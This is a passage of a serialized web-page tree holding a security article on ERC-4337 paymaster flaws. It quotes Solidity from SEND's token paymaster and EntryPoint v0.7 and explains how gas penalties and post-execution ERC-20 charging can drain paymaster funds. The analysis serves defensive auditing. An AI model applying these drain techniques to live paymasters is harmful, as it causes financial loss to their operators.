actualGasCost",{"type":25,"tag":201,"props":104907,"children":104908},{"style":220},[104909],{"type":31,"value":919},{"type":25,"tag":201,"props":104911,"children":104912},{"style":4925},[104913],{"type":31,"value":47244},{"type":25,"tag":201,"props":104915,"children":104916},{"style":246},[104917],{"type":31,"value":104918}," actualUserOpFeePerGas",{"type":25,"tag":201,"props":104920,"children":104921},{"style":220},[104922],{"type":31,"value":4666},{"type":25,"tag":201,"props":104924,"children":104925},{"class":203,"line":931},[104926],{"type":25,"tag":201,"props":104927,"children":104928},{"style":208},[104929],{"type":31,"value":104135},{"type":25,"tag":201,"props":104931,"children":104932},{"class":203,"line":939},[104933],{"type":25,"tag":201,"props":104934,"children":104935},{"style":208},[104936],{"type":31,"value":104143},{"type":25,"tag":201,"props":104938,"children":104939},{"class":203,"line":960},[104940],{"type":25,"tag":201,"props":104941,"children":104942},{"style":220},[104943],{"type":31,"value":30670},{"type":25,"tag":201,"props":104945,"children":104946},{"class":203,"line":977},[104947,104951],{"type":25,"tag":201,"props":104948,"children":104949},{"style":230},[104950],{"type":31,"value":104200},{"type":25,"tag":201,"props":104952,"children":104953},{"style":220},[104954],{"type":31,"value":327},{"type":25,"tag":201,"props":104956,"children":104957},{"class":203,"line":994},[104958,104962,104966,104970],{"type":25,"tag":201,"props":104959,"children":104960},{"style":4925},[104961],{"type":31,"value":104212},{"type":25,"tag":201,"props":104963,"children":104964},{"style":220},[104965],{"type":31,"value":104217},{"type":25,"tag":201,"props":104967,"children":104968},{"style":261},[104969],{"type":31,"value":1383},{"type":25,"tag":201,"props":104971,"children":104972},{"style":220},[104973],{"type":31,"value":104226},{"type":25,"tag":201,"props":104975,"children":104976},{"class":203,"line":1016},[104977,104981,104985,104989],{"type":25,"tag":201,"props":104978,"children":104979},{"style":4925},[104980],{"type":31,"value":104212},{"type":25,"tag":201,"props":104982,"children":104983},{"style":220},[104984],{"type":31,"value":104238},{"type":25,"tag":201,"props":104986,"children":104987},{"style":261},[104988],{"type":31,"value":1383},{"type":25,"tag":201,"props":104990,"children":104991},{"style":220},[104992],{"type":31,"value":104247},{"type":25,"tag":201,"props":104994,"children":104995},{"class":203,"line":1089},[104996,105001,105005,105010,105014,105019,105023,105027,105031,105036,105041,105045,105049,105053],{"type":25,"tag":201,"props":104997,"children":104998},{"style":220},[104999],{"type":31,"value":105000},"            (",{"type":25,"tag":201,"props":105002,"children":105003},{"style":4925},[105004],{"type":31,"value":47244},{"type":25,"tag":201,"props":105006,"children":105007},{"style":220},[105008],{"type":31,"value":105009}," preCharge, ",{"type":25,"tag":201,"props":105011,"children":105012},{"style":4925},[105013],{"type":31,"value":1567},{"type":25,"tag":201,"props":105015,"children":105016},{"style":220},[105017],{"type":31,"value":105018}," userOpSender) ",{"type":25,"tag":201,"props":105020,"children":105021},{"style":261},[105022],{"type":31,"value":1383},{"type":25,"tag":201,"props":105024,"children":105025},{"style":208},[105026],{"type":31,"value":104761},{"type":25,"tag":201,"props":105028,"children":105029},{"style":220},[105030],{"type":31,"value":80},{"type":25,"tag":201,"props":105032,"children":105033},{"style":214},[105034],{"type":31,"value":105035},"decode",{"type":25,"tag":201,"props":105037,"children":105038},{"style":220},[105039],{"type":31,"value":105040},"(context, (",{"type":25,"tag":201,"props":105042,"children":105043},{"style":4925},[105044],{"type":31,"value":47244},{"type":25,"tag":201,"props":105046,"children":105047},{"style":220},[105048],{"type":31,"value":919},{"type":25,"tag":201,"props":105050,"children":105051},{"style":4925},[105052],{"type":31,"value":1567},{"type":25,"tag":201,"props":105054,"children":105055},{"style":220},[105056],{"type":31,"value":8732},{"type":25,"tag":201,"props":105058,"children":105059},{"class":203,"line":1107},[105060,105065,105070,105075],{"type":25,"tag":201,"props":105061,"children":105062},{"style":220},[105063],{"type":31,"value":105064},"            preCharge ",{"type":25,"tag":201,"props":105066,"children":105067},{"style":261},[105068],{"type":31,"value":105069},"-=",{"type":25,"tag":201,"props":105071,"children":105072},{"style":220},[105073],{"type":31,"value":105074}," baseFee; ",{"type":25,"tag":201,"props":105076,"children":105077},{"style":4497},[105078],{"type":31,"value":105079},"// don't refund the base fee\n",{"type":25,"tag":201,"props":105081,"children":105082},{"class":203,"line":1116},[105083,105087,105092,105096,105101,105105,105109],{"type":25,"tag":201,"props":105084,"children":105085},{"style":4925},[105086],{"type":31,"value":104212},{"type":25,"tag":201,"props":105088,"children":105089},{"style":220},[105090],{"type":31,"value":105091}," _cachedPrice ",{"type":25,"tag":201,"props":105093,"children":105094},{"style":261},[105095],{"type":31,"value":1383},{"type":25,"tag":201,"props":105097,"children":105098},{"style":214},[105099],{"type":31,"value":105100}," updateCachedPrice",{"type":25,"tag":201,"props":105102,"children":105103},{"style":220},[105104],{"type":31,"value":298},{"type":25,"tag":201,"props":105106,"children":105107},{"style":208},[105108],{"type":31,"value":9683},{"type":25,"tag":201,"props":105110,"children":105111},{"style":220},[105112],{"type":31,"value":308},{"type":25,"tag":201,"props":105114,"children":105115},{"class":203,"line":1124},[105116,105120,105124],{"type":25,"tag":201,"props":105117,"children":105118},{"style":4497},[105119],{"type":31,"value":104464},{"type":25,"tag":201,"props":105121,"children":105122},{"style":208},[105123],{"type":31,"value":67840},{"type":25,"tag":201,"props":105125,"children":105126},{"style":4497},[105127],{"type":31,"value":104473},{"type":25,"tag":201,"props":105129,"children":105130},{"class":203,"line":1163},[105131,105135,105139,105143,105147,105151,105155,105159],{"type":25,"tag":201,"props":105132,"children":105133},{"style":4925},[105134],{"type":31,"value":104212},{"type":25,"tag":201,"props":105136,"children":105137},{"style":220},[105138],{"type":31,"value":104485},{"type":25,"tag":201,"props":105140,"children":105141},{"style":261},[105142],{"type":31,"value":1383},{"type":25,"tag":201,"props":105144,"children":105145},{"style":220},[105146],{"type":31,"value":105091},{"type":25,"tag":201,"props":105148,"children":105149},{"style":261},[105150],{"type":31,"value":6077},{"type":25,"tag":201,"props":105152,"children":105153},{"style":220},[105154],{"type":31,"value":104503},{"type":25,"tag":201,"props":105156,"children":105157},{"style":261},[105158],{"type":31,"value":6087},{"type":25,"tag":201,"props":105160,"children":105161},{"style":220},[105162],{"type":31,"value":104512},{"type":25,"tag":201,"props":105164,"children":105165},{"class":203,"line":1172},[105166],{"type":25,"tag":201,"props":105167,"children":105168},{"style":4497},[105169],{"type":31,"value":105170},"            // Refund tokens based on actual gas cost\n",{"type":25,"tag":201,"props":105172,"children":105173},{"class":203,"line":1181},[105174,105178,105183,105187,105192,105196,105201,105205],{"type":25,"tag":201,"props":105175,"children":105176},{"style":4925},[105177],{"type":31,"value":104212},{"type":25,"tag":201,"props":105179,"children":105180},{"style":220},[105181],{"type":31,"value":105182}," actualChargeNative ",{"type":25,"tag":201,"props":105184,"children":105185},{"style":261},[105186],{"type":31,"value":1383},{"type":25,"tag":201,"props":105188,"children":105189},{"style":220},[105190],{"type":31,"value":105191}," actualGasCost ",{"type":25,"tag":201,"props":105193,"children":105194},{"style":261},[105195],{"type":31,"value":5886},{"type":25,"tag":201,"props":105197,"children":105198},{"style":220},[105199],{"type":31,"value":105200}," tokenPaymasterConfig.refundPostopCost ",{"type":25,"tag":201,"props":105202,"children":105203},{"style":261},[105204],{"type":31,"value":6077},{"type":25,"tag":201,"props":105206,"children":105207},{"style":220},[105208],{"type":31,"value":105209}," actualUserOpFeePerGas;\n",{"type":25,"tag":201,"props":105211,"children":105212},{"class":203,"line":1190},[105213,105217,105222,105226,105230],{"type":25,"tag":201,"props":105214,"children":105215},{"style":4925},[105216],{"type":31,"value":104212},{"type":25,"tag":201,"props":105218,"children":105219},{"style":220},[105220],{"type":31,"value":105221}," actualTokenNeeded ",{"type":25,"tag":201,"props":105223,"children":105224},{"style":261},[105225],{"type":31,"value":1383},{"type":25,"tag":201,"props":105227,"children":105228},{"style":214},[105229],{"type":31,"value":104687},{"type":25,"tag":201,"props":105231,"children":105232},{"style":220},[105233],{"type":31,"value":105234},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":25,"tag":201,"props":105236,"children":105237},{"class":203,"line":1198},[105238,105242,105247,105251],{"type":25,"tag":201,"props":105239,"children":105240},{"style":230},[105241],{"type":31,"value":59880},{"type":25,"tag":201,"props":105243,"children":105244},{"style":220},[105245],{"type":31,"value":105246}," (preCharge ",{"type":25,"tag":201,"props":105248,"children":105249},{"style":261},[105250],{"type":31,"value":1342},{"type":25,"tag":201,"props":105252,"children":105253},{"style":220},[105254],{"type":31,"value":105255}," actualTokenNeeded) {\n",{"type":25,"tag":201,"props":105257,"children":105258},{"class":203,"line":1220},[105259],{"type":25,"tag":201,"props":105260,"children":105261},{"style":4497},[105262],{"type":31,"value":105263},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":25,"tag":201,"props":105265,"children":105266},{"class":203,"line":82035},[105267,105272,105277,105282,105286],{"type":25,"tag":201,"props":105268,"children":105269},{"style":220},[105270],{"type":31,"value":105271},"                SafeERC20.",{"type":25,"tag":201,"props":105273,"children":105274},{"style":214},[105275],{"type":31,"value":105276},"safeTransfer",{"type":25,"tag":201,"props":105278,"children":105279},{"style":220},[105280],{"type":31,"value":105281},"(token, userOpSender, preCharge ",{"type":25,"tag":201,"props":105283,"children":105284},{"style":261},[105285],{"type":31,"value":5832},{"type":25,"tag":201,"props":105287,"children":105288},{"style":220},[105289],{"type":31,"value":105290}," actualTokenNeeded);\n",{"type":25,"tag":201,"props":105292,"children":105293},{"class":203,"line":82048},[105294,105298,105302,105306,105310,105314],{"type":25,"tag":201,"props":105295,"children":105296},{"style":220},[105297],{"type":31,"value":71676},{"type":25,"tag":201,"props":105299,"children":105300},{"style":230},[105301],{"type":31,"value":322},{"type":25,"tag":201,"props":105303,"children":105304},{"style":230},[105305],{"type":31,"value":17283},{"type":25,"tag":201,"props":105307,"children":105308},{"style":220},[105309],{"type":31,"value":105246},{"type":25,"tag":201,"props":105311,"children":105312},{"style":261},[105313],{"type":31,"value":1298},{"type":25,"tag":201,"props":105315,"children":105316},{"style":220},[105317],{"type":31,"value":105255},{"type":25,"tag":201,"props":105319,"children":105320},{"class":203,"line":82056},[105321],{"type":25,"tag":201,"props":105322,"children":105323},{"style":4497},[105324],{"type":31,"value":105325},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":25,"tag":201,"props":105327,"children":105328},{"class":203,"line":82064},[105329],{"type":25,"tag":201,"props":105330,"children":105331},{"style":4497},[105332],{"type":31,"value":105333},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":25,"tag":201,"props":105335,"children":105336},{"class":203,"line":82072},[105337,105341,105345,105350,105354,105358,105362,105367,105371],{"type":25,"tag":201,"props":105338,"children":105339},{"style":220},[105340],{"type":31,"value":105271},{"type":25,"tag":201,"props":105342,"children":105343},{"style":214},[105344],{"type":31,"value":104722},{"type":25,"tag":201,"props":105346,"children":105347},{"style":220},[105348],{"type":31,"value":105349},"(token, userOpSender, ",{"type":25,"tag":201,"props":105351,"children":105352},{"style":4925},[105353],{"type":31,"value":1567},{"type":25,"tag":201,"props":105355,"children":105356},{"style":220},[105357],{"type":31,"value":298},{"type":25,"tag":201,"props":105359,"children":105360},{"style":208},[105361],{"type":31,"value":19190},{"type":25,"tag":201,"props":105363,"children":105364},{"style":220},[105365],{"type":31,"value":105366},"), actualTokenNeeded ",{"type":25,"tag":201,"props":105368,"children":105369},{"style":261},[105370],{"type":31,"value":5832},{"type":25,"tag":201,"props":105372,"children":105373},{"style":220},[105374],{"type":31,"value":105375}," preCharge);\n",{"type":25,"tag":201,"props":105377,"children":105378},{"class":203,"line":82112},[105379],{"type":25,"tag":201,"props":105380,"children":105381},{"style":220},[105382],{"type":31,"value":59964},{"type":25,"tag":201,"props":105384,"children":105385},{"class":203,"line":82120},[105386],{"type":25,"tag":201,"props":105387,"children":105388},{"emptyLinePlaceholder":17},[105389],{"type":31,"value":496},{"type":25,"tag":201,"props":105391,"children":105392},{"class":203,"line":89307},[105393,105397,105402,105406,105410],{"type":25,"tag":201,"props":105394,"children":105395},{"style":230},[105396],{"type":31,"value":59880},{"type":25,"tag":201,"props":105398,"children":105399},{"style":220},[105400],{"type":31,"value":105401}," (baseFee ",{"type":25,"tag":201,"props":105403,"children":105404},{"style":261},[105405],{"type":31,"value":1342},{"type":25,"tag":201,"props":105407,"children":105408},{"style":426},[105409],{"type":31,"value":4554},{"type":25,"tag":201,"props":105411,"children":105412},{"style":220},[105413],{"type":31,"value":275},{"type":25,"tag":201,"props":105415,"children":105416},{"class":203,"line":89315},[105417,105421,105425],{"type":25,"tag":201,"props":105418,"children":105419},{"style":220},[105420],{"type":31,"value":105271},{"type":25,"tag":201,"props":105422,"children":105423},{"style":214},[105424],{"type":31,"value":105276},{"type":25,"tag":201,"props":105426,"children":105427},{"style":220},[105428],{"type":31,"value":105429},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":25,"tag":201,"props":105431,"children":105432},{"class":203,"line":102661},[105433],{"type":25,"tag":201,"props":105434,"children":105435},{"style":220},[105436],{"type":31,"value":59964},{"type":25,"tag":201,"props":105438,"children":105439},{"class":203,"line":102669},[105440],{"type":25,"tag":201,"props":105441,"children":105442},{"emptyLinePlaceholder":17},[105443],{"type":31,"value":496},{"type":25,"tag":201,"props":105445,"children":105446},{"class":203,"line":102677},[105447,105452,105457],{"type":25,"tag":201,"props":105448,"children":105449},{"style":230},[105450],{"type":31,"value":105451},"            emit",{"type":25,"tag":201,"props":105453,"children":105454},{"style":214},[105455],{"type":31,"value":105456}," UserOperationSponsored",{"type":25,"tag":201,"props":105458,"children":105459},{"style":220},[105460],{"type":31,"value":105461},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":25,"tag":201,"props":105463,"children":105464},{"class":203,"line":102685},[105465,105470],{"type":25,"tag":201,"props":105466,"children":105467},{"style":214},[105468],{"type":31,"value":105469},"            refillEntryPointDeposit",{"type":25,"tag":201,"props":105471,"children":105472},{"style":220},[105473],{"type":31,"value":105474},"(_cachedPrice);\n",{"type":25,"tag":201,"props":105476,"children":105477},{"class":203,"line":102713},[105478],{"type":25,"tag":201,"props":105479,"children":105480},{"style":220},[105481],{"type":31,"value":4853},{"type":25,"tag":201,"props":105483,"children":105485},{"class":203,"line":105484},67,[105486],{"type":25,"tag":201,"props":105487,"children":105488},{"style":220},[105489],{"type":31,"value":4861},{"type":25,"tag":201,"props":105491,"children":105493},{"class":203,"line":105492},68,[105494],{"type":25,"tag":201,"props":105495,"children":105496},{"style":220},[105497],{"type":31,"value":1187},{"type":25,"tag":34,"props":105499,"children":105500},{},[105501,105503,105509,105511,105516,105518,105524],{"type":31,"value":105502},"Looking at the code above, during ",{"type":25,"tag":115,"props":105504,"children":105506},{"className":105505},[],[105507],{"type":31,"value":105508},"validatePaymasterUserOp",{"type":31,"value":105510},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":25,"tag":115,"props":105512,"children":105514},{"className":105513},[],[105515],{"type":31,"value":103567},{"type":31,"value":105517}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":25,"tag":115,"props":105519,"children":105521},{"className":105520},[],[105522],{"type":31,"value":105523},"postOp",{"type":31,"value":105525},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":25,"tag":34,"props":105527,"children":105528},{},[105529,105531,105536,105538,105545],{"type":31,"value":105530},"However, there is a critical oversight: ",{"type":25,"tag":1252,"props":105532,"children":105533},{},[105534],{"type":31,"value":105535},"the code does not account for gas penalties",{"type":31,"value":105537},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":25,"tag":71,"props":105539,"children":105542},{"href":105540,"rel":105541},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[75],[105543],{"type":31,"value":105544},"penalties incurred",{"type":31,"value":105546}," from differences between the execution gas limit and actual execution gas.",{"type":25,"tag":34,"props":105548,"children":105549},{},[105550],{"type":31,"value":105551},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":25,"tag":34,"props":105553,"children":105554},{},[105555,105557,105562],{"type":31,"value":105556},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":25,"tag":115,"props":105558,"children":105560},{"className":105559},[],[105561],{"type":31,"value":103266},{"type":31,"value":105563}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":25,"tag":26,"props":105565,"children":105567},{"id":105566},"incorrect-erc-20-handling",[105568],{"type":25,"tag":1252,"props":105569,"children":105570},{},[105571],{"type":31,"value":105572},"Incorrect ERC-20 Handling",{"type":25,"tag":34,"props":105574,"children":105575},{},[105576],{"type":31,"value":105577},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":25,"tag":34,"props":105579,"children":105580},{},[105581,105582,105587,105589,105594],{"type":31,"value":46372},{"type":25,"tag":115,"props":105583,"children":105585},{"className":105584},[],[105586],{"type":31,"value":103347},{"type":31,"value":105588}," flow above, we can see that paymasters have two key interaction points during a ",{"type":25,"tag":115,"props":105590,"children":105592},{"className":105591},[],[105593],{"type":31,"value":103266},{"type":31,"value":105595},"'s lifecycle:",{"type":25,"tag":6944,"props":105597,"children":105598},{},[105599,105609],{"type":25,"tag":6948,"props":105600,"children":105601},{},[105602,105604],{"type":31,"value":105603},"During validation via ",{"type":25,"tag":115,"props":105605,"children":105607},{"className":105606},[],[105608],{"type":31,"value":103454},{"type":25,"tag":6948,"props":105610,"children":105611},{},[105612,105614],{"type":31,"value":105613},"After execution via ",{"type":25,"tag":115,"props":105615,"children":105617},{"className":105616},[],[105618],{"type":31,"value":103465},{"type":25,"tag":34,"props":105620,"children":105621},{},[105622],{"type":31,"value":105623},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":25,"tag":40,"props":105625,"children":105627},{"id":105626},"_1-pre-payment-with-refund-pattern",[105628],{"type":31,"value":105629},"1. Pre-Payment with Refund Pattern",{"type":25,"tag":34,"props":105631,"children":105632},{},[105633,105635,105640,105642,105647,105649,105655,105656,105662,105664,105669,105671,105676,105678,105683],{"type":31,"value":105634},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":25,"tag":115,"props":105636,"children":105638},{"className":105637},[],[105639],{"type":31,"value":103454},{"type":31,"value":105641},". After execution completes, ",{"type":25,"tag":115,"props":105643,"children":105645},{"className":105644},[],[105646],{"type":31,"value":103465},{"type":31,"value":105648}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":25,"tag":115,"props":105650,"children":105652},{"className":105651},[],[105653],{"type":31,"value":105654},"SEND",{"type":31,"value":12493},{"type":25,"tag":115,"props":105657,"children":105659},{"className":105658},[],[105660],{"type":31,"value":105661},"Circle",{"type":31,"value":105663}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":25,"tag":115,"props":105665,"children":105667},{"className":105666},[],[105668],{"type":31,"value":103295},{"type":31,"value":105670},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":25,"tag":1252,"props":105672,"children":105673},{},[105674],{"type":31,"value":105675},"before",{"type":31,"value":105677}," execution (specifically during ",{"type":25,"tag":115,"props":105679,"children":105681},{"className":105680},[],[105682],{"type":31,"value":105508},{"type":31,"value":3953},{"type":25,"tag":40,"props":105685,"children":105687},{"id":105686},"_2-post-execution-charging-pattern",[105688],{"type":31,"value":105689},"2. Post-Execution Charging Pattern",{"type":25,"tag":34,"props":105691,"children":105692},{},[105693,105695,105700,105702,105707,105709,105714,105716,105721],{"type":31,"value":105694},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":25,"tag":115,"props":105696,"children":105698},{"className":105697},[],[105699],{"type":31,"value":103454},{"type":31,"value":105701},", the actual token payment is calculated and collected in ",{"type":25,"tag":115,"props":105703,"children":105705},{"className":105704},[],[105706],{"type":31,"value":103465},{"type":31,"value":105708}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":25,"tag":115,"props":105710,"children":105712},{"className":105711},[],[105713],{"type":31,"value":103266},{"type":31,"value":105715},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":25,"tag":115,"props":105717,"children":105719},{"className":105718},[],[105720],{"type":31,"value":103567},{"type":31,"value":105722},". This means users could interact with the paymaster without any prior setup.",{"type":25,"tag":34,"props":105724,"children":105725},{},[105726,105728,105733,105735,105741,105743,105749,105751,105756],{"type":31,"value":105727},"This approach used to work in ",{"type":25,"tag":115,"props":105729,"children":105731},{"className":105730},[],[105732],{"type":31,"value":103347},{"type":31,"value":105734}," version ",{"type":25,"tag":115,"props":105736,"children":105738},{"className":105737},[],[105739],{"type":31,"value":105740},"v0.6",{"type":31,"value":105742},", but the pattern no longer works in ",{"type":25,"tag":115,"props":105744,"children":105746},{"className":105745},[],[105747],{"type":31,"value":105748},"v0.7",{"type":31,"value":105750},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":25,"tag":115,"props":105752,"children":105754},{"className":105753},[],[105755],{"type":31,"value":105748},{"type":31,"value":105757}," handles the execution phase:",{"type":25,"tag":191,"props":105759,"children":105761},{"className":5980,"code":105760,"language":5979,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[105762],{"type":25,"tag":115,"props":105763,"children":105764},{"__ignoreMap":7},[105765,105781,105797,105817,105834,105841,105854,105878,105886,105899,105906,105913,105934,105973,106010,106022,106029,106065,106072,106093,106182,106211,106218,106231,106238,106258,106265,106286,106294,106302,106329,106357,106365,106408,106428,106441,106463,106479,106494,106501,106521,106529,106537,106545,106553,106561,106568,106575],{"type":25,"tag":201,"props":105766,"children":105767},{"class":203,"line":204},[105768,105772,105777],{"type":25,"tag":201,"props":105769,"children":105770},{"style":208},[105771],{"type":31,"value":90915},{"type":25,"tag":201,"props":105773,"children":105774},{"style":214},[105775],{"type":31,"value":105776}," _executeUserOp",{"type":25,"tag":201,"props":105778,"children":105779},{"style":220},[105780],{"type":31,"value":4970},{"type":25,"tag":201,"props":105782,"children":105783},{"class":203,"line":226},[105784,105788,105793],{"type":25,"tag":201,"props":105785,"children":105786},{"style":4925},[105787],{"type":31,"value":91093},{"type":25,"tag":201,"props":105789,"children":105790},{"style":246},[105791],{"type":31,"value":105792}," opIndex",{"type":25,"tag":201,"props":105794,"children":105795},{"style":220},[105796],{"type":31,"value":547},{"type":25,"tag":201,"props":105798,"children":105799},{"class":203,"line":278},[105800,105805,105809,105813],{"type":25,"tag":201,"props":105801,"children":105802},{"style":208},[105803],{"type":31,"value":105804},"        PackedUserOperation",{"type":25,"tag":201,"props":105806,"children":105807},{"style":208},[105808],{"type":31,"value":104096},{"type":25,"tag":201,"props":105810,"children":105811},{"style":246},[105812],{"type":31,"value":104101},{"type":25,"tag":201,"props":105814,"children":105815},{"style":220},[105816],{"type":31,"value":547},{"type":25,"tag":201,"props":105818,"children":105819},{"class":203,"line":311},[105820,105825,105829],{"type":25,"tag":201,"props":105821,"children":105822},{"style":208},[105823],{"type":31,"value":105824},"        UserOpInfo",{"type":25,"tag":201,"props":105826,"children":105827},{"style":208},[105828],{"type":31,"value":104164},{"type":25,"tag":201,"props":105830,"children":105831},{"style":246},[105832],{"type":31,"value":105833}," opInfo\n",{"type":25,"tag":201,"props":105835,"children":105836},{"class":203,"line":330},[105837],{"type":25,"tag":201,"props":105838,"children":105839},{"style":220},[105840],{"type":31,"value":25405},{"type":25,"tag":201,"props":105842,"children":105843},{"class":203,"line":397},[105844,105849],{"type":25,"tag":201,"props":105845,"children":105846},{"style":208},[105847],{"type":31,"value":105848},"    internal",{"type":25,"tag":201,"props":105850,"children":105851},{"style":208},[105852],{"type":31,"value":105853}," virtual\n",{"type":25,"tag":201,"props":105855,"children":105856},{"class":203,"line":437},[105857,105861,105865,105869,105874],{"type":25,"tag":201,"props":105858,"children":105859},{"style":230},[105860],{"type":31,"value":47585},{"type":25,"tag":201,"props":105862,"children":105863},{"style":220},[105864],{"type":31,"value":238},{"type":25,"tag":201,"props":105866,"children":105867},{"style":4925},[105868],{"type":31,"value":47244},{"type":25,"tag":201,"props":105870,"children":105871},{"style":246},[105872],{"type":31,"value":105873}," collected",{"type":25,"tag":201,"props":105875,"children":105876},{"style":220},[105877],{"type":31,"value":275},{"type":25,"tag":201,"props":105879,"children":105880},{"class":203,"line":464},[105881],{"type":25,"tag":201,"props":105882,"children":105883},{"style":220},[105884],{"type":31,"value":105885},"    [...]\n",{"type":25,"tag":201,"props":105887,"children":105888},{"class":203,"line":490},[105889,105894],{"type":25,"tag":201,"props":105890,"children":105891},{"style":4925},[105892],{"type":31,"value":105893},"        bool",{"type":25,"tag":201,"props":105895,"children":105896},{"style":220},[105897],{"type":31,"value":105898}," success;\n",{"type":25,"tag":201,"props":105900,"children":105901},{"class":203,"line":499},[105902],{"type":25,"tag":201,"props":105903,"children":105904},{"style":220},[105905],{"type":31,"value":528},{"type":25,"tag":201,"props":105907,"children":105908},{"class":203,"line":522},[105909],{"type":25,"tag":201,"props":105910,"children":105911},{"style":220},[105912],{"type":31,"value":105885},{"type":25,"tag":201,"props":105914,"children":105915},{"class":203,"line":531},[105916,105920,105925,105929],{"type":25,"tag":201,"props":105917,"children":105918},{"style":230},[105919],{"type":31,"value":59880},{"type":25,"tag":201,"props":105921,"children":105922},{"style":220},[105923],{"type":31,"value":105924}," (methodSig ",{"type":25,"tag":201,"props":105926,"children":105927},{"style":261},[105928],{"type":31,"value":10083},{"type":25,"tag":201,"props":105930,"children":105931},{"style":220},[105932],{"type":31,"value":105933}," IAccountExecute.executeUserOp.selector) {\n",{"type":25,"tag":201,"props":105935,"children":105936},{"class":203,"line":550},[105937,105942,105946,105951,105955,105959,105963,105968],{"type":25,"tag":201,"props":105938,"children":105939},{"style":4925},[105940],{"type":31,"value":105941},"                bytes",{"type":25,"tag":201,"props":105943,"children":105944},{"style":208},[105945],{"type":31,"value":104164},{"type":25,"tag":201,"props":105947,"children":105948},{"style":220},[105949],{"type":31,"value":105950}," executeUserOp ",{"type":25,"tag":201,"props":105952,"children":105953},{"style":261},[105954],{"type":31,"value":1383},{"type":25,"tag":201,"props":105956,"children":105957},{"style":208},[105958],{"type":31,"value":104761},{"type":25,"tag":201,"props":105960,"children":105961},{"style":220},[105962],{"type":31,"value":80},{"type":25,"tag":201,"props":105964,"children":105965},{"style":214},[105966],{"type":31,"value":105967},"encodeCall",{"type":25,"tag":201,"props":105969,"children":105970},{"style":220},[105971],{"type":31,"value":105972},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":25,"tag":201,"props":105974,"children":105975},{"class":203,"line":563},[105976,105981,105985,105989,105993,105997,106001,106005],{"type":25,"tag":201,"props":105977,"children":105978},{"style":220},[105979],{"type":31,"value":105980},"                innerCall ",{"type":25,"tag":201,"props":105982,"children":105983},{"style":261},[105984],{"type":31,"value":1383},{"type":25,"tag":201,"props":105986,"children":105987},{"style":208},[105988],{"type":31,"value":104761},{"type":25,"tag":201,"props":105990,"children":105991},{"style":220},[105992],{"type":31,"value":80},{"type":25,"tag":201,"props":105994,"children":105995},{"style":214},[105996],{"type":31,"value":105967},{"type":25,"tag":201,"props":105998,"children":105999},{"style":220},[106000],{"type":31,"value":298},{"type":25,"tag":201,"props":106002,"children":106003},{"style":208},[106004],{"type":31,"value":19190},{"type":25,"tag":201,"props":106006,"children":106007},{"style":220},[106008],{"type":31,"value":106009},".innerHandleOp, (executeUserOp, opInfo, 